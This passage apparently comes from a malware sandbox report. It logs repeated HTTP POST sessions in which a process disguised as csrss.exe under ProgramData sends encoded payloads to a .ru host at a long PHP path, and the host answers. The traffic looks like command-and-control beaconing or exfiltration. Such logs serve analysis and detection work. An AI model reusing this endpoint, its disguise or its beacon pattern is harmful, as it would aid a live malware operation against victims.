Jan 3, 2025 11:48:06.643410921 CET	1040	OUT	Data Raw: 5f 51 5b 5a 5d 5b 55 5b 5a 5d 59 57 59 5c 5b 57 5f 52 54 5f 50 5b 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _Q[Z][U[Z]YWY\[W_RT_P[[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$,?%#8#U700%.8?;6+)?U&)R7?=%?(,"\) \'%^.(
Jan 3, 2025 11:48:06.768532991 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:07.028640032 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FES5WDYxUngVPKRCXj%2BZjUugjv5lDveYUeJqzOrqHlkJMtvK9n3FBaDb0RPmFGSn3ZUuxMWyZt6JBo3XTM%2FpZJx4uAYG33SiR7DgvsVKgvVPYXWOJKWPWeB5EqS1EC4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a2209917ca6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3354&min_rtt=1770&rtt_var=3832&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=101087&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	51701	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:07.160778046 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:07.518460989 CET	1040	OUT	Data Raw: 5f 50 5b 50 58 5e 55 5c 5a 5d 59 57 59 58 5b 57 5f 57 54 55 50 5c 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _P[PX^U\Z]YWYX[W_WTUP\[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]92";W4#3^$X;>;![*9,%.-V7.Q23?<:\) \'%^.8
Jan 3, 2025 11:48:07.624979019 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:07.881592035 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3EM6n6uYaXKAD6XHKaoAFK%2B1KxMGFmpFatLgNW2jgEbvnGTn0ISqIiaNiV7VsE10jJykw4vsntyH%2Bhg1rnM%2F7ZHETPtqcAAPWsKy9iOCcTa5CaT4icioi6yDOmGikps%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a27488df791-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4345&min_rtt=1448&rtt_var=6337&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=59284&cwnd=146&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	51707	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:08.006304026 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:08.379337072 CET	1040	OUT	Data Raw: 5f 57 5b 5a 5d 5d 55 50 5a 5d 59 57 59 56 5b 5a 5f 5b 54 55 50 5e 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _W[Z]]UPZ]YWYV[Z_[TUP^[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]-/%5'#,$.3\+9?;%=)S %&,X(,9* \'%^.
Jan 3, 2025 11:48:08.449065924 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:08.718197107 CET	802	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yYUm88k0iEeZ%2FZ7n%2Bz2FwrBAulGyize%2FmpGYe4UCPwsLranfYIvGWhFao5eUf0%2BtWaJhk06PTO2eZxKBvfaPm4cV99Quv4q8GBjxYEBzbJFN25PUHFcjR8Fe%2BTCdDQM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a2c8a36de9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3937&min_rtt=1476&rtt_var=5477&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=68965&cwnd=191&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	51713	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:08.784645081 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:09.143580914 CET	1756	OUT	Data Raw: 5a 5d 5b 5e 5d 5a 55 5c 5a 5d 59 57 59 5a 5b 5a 5f 52 54 5a 50 55 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z][^]ZU\Z]YWYZ[Z_RTZPU[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$9?>"80 0/3(8!]+<&>= /!2?8(/9= \'%^.0
Jan 3, 2025 11:48:09.236457109 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:09.541702986 CET	947	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ypEgx5CX2X9xwoXKR7lBoHo4KaiAKmdQayujM%2BeN6CZdiUI%2Bw8HRF160XRWLZc7QjnNF1t8%2BmtBptCAsU2s0UzDCrBV0KUkkH10yXHJ8Ew19zG7Agm2AvQQcg3Mrf4g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a317b8a440d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1685&min_rtt=1602&rtt_var=767&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2101&delivery_rate=643738&cwnd=177&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 22 03 20 10 05 1f 27 39 0d 55 24 2a 0c 0a 22 37 36 15 2e 07 0c 06 27 2c 2f 11 3d 2a 3f 1f 33 01 22 01 3e 01 22 08 24 2c 25 13 31 13 2e 59 0d 11 38 14 3f 3c 20 0c 2a 00 37 0d 29 3f 20 09 30 12 38 11 29 28 3b 11 28 0b 20 1d 37 3c 35 1a 2a 21 22 0c 29 1d 39 16 2a 21 37 5b 26 0f 2c 5e 0b 12 24 57 3f 57 3e 0b 34 0f 25 17 25 13 2b 14 26 2a 2f 1f 22 0a 28 19 27 15 34 14 2f 0b 35 1a 31 51 38 58 3d 38 0a 17 20 16 0f 0b 2b 07 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98" '9U$"76.',/=?3">"$,%1.Y8?< 7)? 08)(;( 7<5!")9!7[&,^$W?W>4%%+&/"('4/51Q8X=8 +'P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	51714	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:08.887731075 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1028 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:09.237173080 CET	1028	OUT	Data Raw: 5f 51 5e 5e 58 5e 55 50 5a 5d 59 57 59 5e 5b 53 5f 52 54 5c 50 5c 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _Q^^X^UPZ]YWY^[S_RT\P\[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$Y-?%#+87/3X+Z>+=]?:/W&"7%&/X?%+> \'%^.$
Jan 3, 2025 11:48:09.347058058 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:09.516046047 CET	796	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FA22JPlKNMWuhDPzHSN4nRb7ZOyLd2tL4T23hD7fMt3i3Q0k9J86oe0C39Zv9NBp19FkgWvlkFBjA3E%2Fc3QTR0QvWISbtF2Np7bjOOANkiFHPY6TWB%2FRmCW3a3zSrxw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a322eb84273-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7635&min_rtt=1823&rtt_var=12308&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1373&delivery_rate=30213&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	51720	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:09.649997950 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:10.002784014 CET	1040	OUT	Data Raw: 5f 55 5b 5b 5d 5e 50 5d 5a 5d 59 57 59 56 5b 53 5f 56 54 58 50 5a 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _U[[]^P]Z]YWYV[S_VTXPZ[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'9?!+'7?$.?;^(9('- <&T%/+Z*= \'%^.
Jan 3, 2025 11:48:10.121568918 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:10.295844078 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lzrg50fHZAGCrgoxyejB0IlbLiuPSg9343g1%2FQ7Umswjxk8UCJR9NoHQI4K%2FilxEsvJTtgVFmUDkn2YDWggQASQTQT5yFwe%2BitMYWHTjqCJMZce93pNXddv2BalRanY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a36f8600f3b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4778&min_rtt=1685&rtt_var=6818&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=55238&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	51726	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:10.426769018 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:10.784063101 CET	1040	OUT	Data Raw: 5a 54 5b 5f 58 5f 55 50 5a 5d 59 57 59 57 5b 5b 5f 5b 54 5c 50 5a 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZT[_X_UPZ]YWYW[[_[T\PZ[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$Y,?S"8?V4 3^3X3>("(*32.-U ?.%<?<<Z>> \'%^.
Jan 3, 2025 11:48:10.870095968 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:11.133276939 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gdXxGlAJ73zMW8l5IH6SZEX4bI6Fq8z4iQLYL5xsBPfaOn3wC2tL%2B%2Bw0nImyg8BpVBrwNdAWtPBPbXmMnRX1nru34043ue8hLebrI0VPm5vUYevf3LGPXiLxakTL7OQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a3baa24f78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2377&min_rtt=1470&rtt_var=2366&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=167220&cwnd=136&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	51737	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:11.674493074 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:12.028959036 CET	1040	OUT	Data Raw: 5f 52 5b 50 5d 5b 55 5a 5a 5d 59 57 59 56 5b 57 5f 53 54 5d 50 54 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _R[P][UZZ]YWYV[W_ST]PT[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$,?2"(3U##$?9_+#P1>%W /.U&<(>Y=> \'%^.
Jan 3, 2025 11:48:12.147022963 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:12.314300060 CET	809	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fkJ1Yd1Lsm8gnZU9rt%2Fmv754eOM1h%2B3I1OamRgpnBTTNTdOMhrcW9%2Fi%2B5uAJkY3H%2Fzdfd%2BfantMG%2BQLzNF2RHAG2hUMyP9s94PAvRlhYdrH%2BukDYZIKM922gHECCn5I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a439931ef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7874&min_rtt=2130&rtt_var=12286&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=30364&cwnd=133&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	51743	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:12.567368984 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:12.924865961 CET	1040	OUT	Data Raw: 5a 56 5b 58 5d 58 55 5c 5a 5d 59 57 59 5d 5b 55 5f 56 54 55 50 5b 5b 5a 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV[X]XU\Z]YWY][U_VTUP[[ZZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$-/.W#(3#U;'X3+(%\<_/1: )%'?/:\> \'%^.,
Jan 3, 2025 11:48:13.030308008 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:13.289391041 CET	796	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vqpf6oJh3T8jjwgTGDmJoKB0qJ29y1QTTWOSKAqO1GQ5yOZG1R2yxwzKbbS3bVOGyYSsT%2BFvFIVv97nVProRqpa6IEPiVRU4bLfKaAULpLjwnjBr8CK%2BxPDNSZUCDx8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a492eae0f55-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4295&min_rtt=1656&rtt_var=5899&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=64116&cwnd=155&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	51749	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:13.412993908 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:13.780863047 CET	1040	OUT	Data Raw: 5f 50 5e 59 5d 52 55 5d 5a 5d 59 57 59 59 5b 55 5f 53 54 58 50 54 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _P^Y]RU]Z]YWYY[U_STXPT[\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$:%"0 03?2<_3U&.!"?91?(^(:\) \'%^.
Jan 3, 2025 11:48:13.856611013 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:14.130037069 CET	796	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wIjK8TMoCDMJC6tzm6P5ChKS%2Bg9G4Po1tkiMR5iYA1PbV5d0hpj69UW0SlUJpok8k0vcfTvkjBNQxW0wToMbEy9JXS3OZ77689tvpgM3aZKM1WijBV2F%2BI9uEiUQyBU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a4e5c6e4388-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3595&min_rtt=1590&rtt_var=4606&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=82808&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	51755	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:14.578586102 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
